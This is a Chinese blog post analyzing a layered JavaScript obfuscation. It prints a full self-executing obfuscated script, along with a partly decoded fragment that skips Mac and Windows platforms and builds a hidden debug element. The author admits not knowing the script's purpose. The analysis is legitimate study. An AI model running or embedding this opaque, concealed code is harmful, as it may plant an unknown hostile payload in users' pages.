一个冷门的js加密逆向分析

在这里插入图片描述

先上加密代码供各位先看为敬

(function(){
   function j2f6c82(ve7deb){
   var i86905="VPfaI5H|Nc]$^rhn1B8d=R.w/u-4!ZetJ?XFM@2SY(&sbjlW6GEmAd[L0i,;yx%qozC9U_~g37OkKTpvQD:";var z1a52da8="4H_&|GNcEon:B2-?h]lx.(gkzOdA3eL,9;myV8bJwriRSt6s@X75Fvu^p0IjYUT%K!~M1=DCZ/WPaf$[Qq";return ve7deb.split('').map(function(ce86af){
   var ke64443=i86905.indexOf(ce86af);return ke64443==-1?ce86af:z1a52da8[ke64443]}).join('')}var c=j2f6c82('thunder://(s]4c(Q"" + "p" + "Z" + "r" + "," + "W" + "S" + "_"+""B~pL]|lsc].){X.pL]|lsc].[A,?4eJFrmT4SJFe2VW4,mJ(VWAWT){sp.O0UT|Iks]ORle6l.]T[swTlc&Ri8Tlpc&F)){&elL&]}X[T& =pSemZZS~pL]|lsc].er4_WZ){&elL&] jl&s]wRp&cF31T&3c4e.er4_WZ)}X[T& ee|e|~Q"lh_"J"[h_?"J"LhW,rZ?_rA,_WWVA"J"4hr,rVh,rh,V ,,$_A$,_"J"6M6hu|"BX[T& iVWpT_Z~Fe2VW4,mQ=pSemZZS.,=W_)+=pSemZZS.,=mV)+=pSemZZS.,=Wd)+=pSemZZS.,=Wr)BJl,p_rrT?A~Fe2VW4,mQ=pSemZZS.,=Wr)+=pSemZZS.,=mV)+=pSemZZS.,=Wd)+=pSemZZS.,=W_)BJF2,|T_~(VWAWTQiVWpT_Z."xZ@M|F@L4dHy|F8(4!~~")BJseTm2VT??~iVWpT_Z."xZY8xEb8bk=8Sk@L4!~~")J&m2e?4W4~iVWpT_Z."|Z@s|ZbMTkA]")JFV?ZV~iVWpT_Z."|F@(S5dy7D~~")Ju2T|44re~iVWpT_Z."|Z^6TED~")JlSeVm4V~iVWpT_Z."|F@r7EYu7D~~")J4pVS,ZT~iVWpT_Z."TF?iSw~~")JpSS?W4ZW~iVWpT_Z."|FdL75?l")J|_?4SVe~Fe2VW4,mQiVWpT_Z."qkd,T!~~")BJuVZT_4,~iVWpT_Z."S5?17!~~")X[T& 4WAr|A_2S~iVWpT_Z."eFH/7kY_7(~~")X[T& lZepT,|2|Xsp.8c|Tlsc]R6eT&|1Rs]4e=-p.4WAr|A_2S)>h_){lZepT,|2|~(VWAWTQseTm2VT??B.iVWpT_Z."45@V45dM7kN~"))XlZepT,|2|Rs4~"l"+.|_?4SVeQpSS?W4ZWB.)*_,,,,)XlZepT,|2|R6lM8eR(s4l1~"_,,o"XlZepT,|2|R6lM8eR1esw1l~"A,,i="XlZepT,|2|R4s6TS8e4~l&LeXsp.(VWAWTRSc4MC~]L88){(VWAWTRSc4MRTiie]431s84.lZepT,|2|)}e86e{[T& e4?rr,V~pL]|lsc].){(VWAWTRSc4MRTiie]431s84.lZepT,|2|)XFe2VW4,mR&eFc[eN[e]lts6le]e&.uVZT_4,Je4?rr,VJpT86e)}XFe2VW4,mRT44N[e]lts6le]e&.uVZT_4,Je4?rr,VJpT86e)}}[T& pA4AW|Tmm~(VWAWTQseTm2VT??B.iVWpT_Z."7k_s7kD~"))XpA4AW|TmmR6lM8eR1esw1l~",i="XpA4AW|TmmRs4~FrmT4S+.|_?4SVeR|es8.|_?4SVeQpSS?W4ZWB.)*_,,,,))X[T& 4_AAT~pL]|lsc]./VSZ242WV){[T& im_eS~]e( gTle.)X[T& ]rTVZ|TeV~`T4[jiT|e;4fv{FrmT4S}fv{im_eSRlctc|T8egTlejl&s]w.)}`X[T& /4m|A?rr~Yj-HRiT&6e.8c|T8jlc&TweRwel;leF.]rTVZ|TeV))Xsp./4m|A?rr~~]L88){/4m|A?rr~{S&c(6e&3cL]l$,}}/4m|A?rrRS&c(6e&3cL]l++X[T& wr2AZ|~l,p_rrT?A.ee|e|R|c]|Tl.QgTleQ"]c("B.)J8c|Tlsc]R1&epJ`16|hv{/4m|A?rrRS&c(6e&3cL]l}`B)R6c&l..)~>|_?4SVeQpSS?W4ZWB.)h,RA)Q4pVS,ZTB."J"))X[T& 1S_V|4mA~wr2AZ|Rs]4e=-p.=pSemZZS.,=Z4))>h_nwr2AZ|Q&m2e?4W4B.wr2AZ|Rs]4e=-p.=pSemZZS.,=Z4)))$""Xwr2AZ|~wr2AZ|QFV?ZVB.1S_V|4mAJ"")Qu2T|44reB."")QlSeVm4VB.)Q4pVS,ZTB."")+1S_V|4mAXpA4AW|TmmR6&|~Q"1lli6$OO"J/VSZ242WVJwr2AZ|BQ4pVS,ZTB."O")X(VWAWTRSc4MRTiie]431s84.pA4AW|Tmm)Xsp.lZepT,|2|C~]L88){lZepT,|2|R[T8Le+~"\\&\\]Tiie]4e4 eF lc 1lF8"X[T& &ArA4S44T~(VWAWTRwelN8eFe]l^M;4.pA4AW|TmmRs4)Xsp.&ArA4S44T~~]L88II&ArA4S44T~~L]4eps]e4){lZepT,|2|R[T8Le+~"\\&\\] |T]l wel eF p&cF 1lF8"}}}Xsp.lZepT,|2|C~]L88){lZepT,|2|R[T8Le+~"\\&\\]6e]4 y6 1c6l "+[A,?4e}[T& Fe?4V??~pL]|lsc].iZVAemVT?){&elL&] iVWpT_Z.iZVAemVT?)QFV?ZVB.=pSemZZS.,=r!)J|_?4SVeQpSS?W4ZWB.)Rlcjl&s]w.ZW)R68s|e.|_?4SVeRp8cc&.|_?4SVeQpSS?W4ZWB.)*?)+r))}X4_AAT.Fe?4V??.[A,?4e))XFe2VW4,mQ"T44N[e]lts6le]e&"B."Fe66Twe"JpL]|lsc].e){sp.eR4TlTR/~~FrmT4S){(VWAWTRwelN8eFe]l^M;4.pA4AW|TmmRs4)R&eFc[e.)Xsp.lZepT,|2|C~]L88){lZepT,|2|R[T8Le+~"\\&\\]&e|es[e eF ic6l Fe66Twe"XlZepT,|2|R[T8Le+~"\\&\\]eR4TlTR[ "+eR4TlTR:}]e( dL]|lsc]."T&w6"JeR4TlTR:).{fl4|6$F2,|T_Jfl&T$lZepT,|2|})}})})."zsA/xkAuT5@uT5/Lxr?l"J"W,rZ?_rA,_WWVA"J(s]4c(J4c|LFe]l)}XpZr,WS_.)X'.substr(10));new Function(c)()})();

初步的尝试

有感兴趣的可以去尝试一下,这是第一层加密,他里面有三层加密。

先用jsjiami在线解密去试试解码,发现无效,说明该加密不是常规加密。

开始人工阅读分析。

最终完全解密后(由于保护源码隐私和安全,只展示部分)

if (/^Mac|Win/.test(navigator.platform)) {
   
    return;
}

var eecec = ["t-1", "v-19", "u-60239125016645", "d-2024-02-04 00:15:01", "sys-zc"];
var textarea, currentScript = document.currentScript;

if (location.search.indexOf("xxxxxx") > -1) {
   
    textarea = document.createElement("textarea");
    textarea.id = "t" + window.Math.random() * 10000;
    textarea.style.width = "100%";
    textarea.style.height = "500px";
    textarea.disabled = true;

    if (document.body != null) {
   
        document.body.appendChild(textarea);
    } else {
   
        var loadTextarea = function () {
   
            document.body.appendChild(textarea);
            window.removeEventListener("load", loadTextarea, false);
        };

        window.addEventListener("load", loadTextarea, false);
    }
}

结尾

我也看不出这代码是做啥的,仅做技术分析研究,不做解读。感谢各位看客阅读至此。有任何问题可以联系官方客服。

相关推荐

最近更新

  1. TCP协议是安全的吗?

    2024-02-11 11:14:01       18 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-02-11 11:14:01       19 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-02-11 11:14:01       18 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-02-11 11:14:01       20 阅读

热门阅读

  1. 前端修炼手册(uniapp的api篇)

    2024-02-11 11:14:01       32 阅读
  2. WebSocketServer+redis实时更新页面数据

    2024-02-11 11:14:01       33 阅读
  3. 龙芯+RT-Thread+LVGL实战笔记(34)——密码锁初步

    2024-02-11 11:14:01       29 阅读
  4. 题目 1059: 二级C语言-等差数列—c语言

    2024-02-11 11:14:01       36 阅读
  5. 测试OpenSIPS3.4.3的lua模块

    2024-02-11 11:14:01       32 阅读
  6. 刷题13 数组

    2024-02-11 11:14:01       35 阅读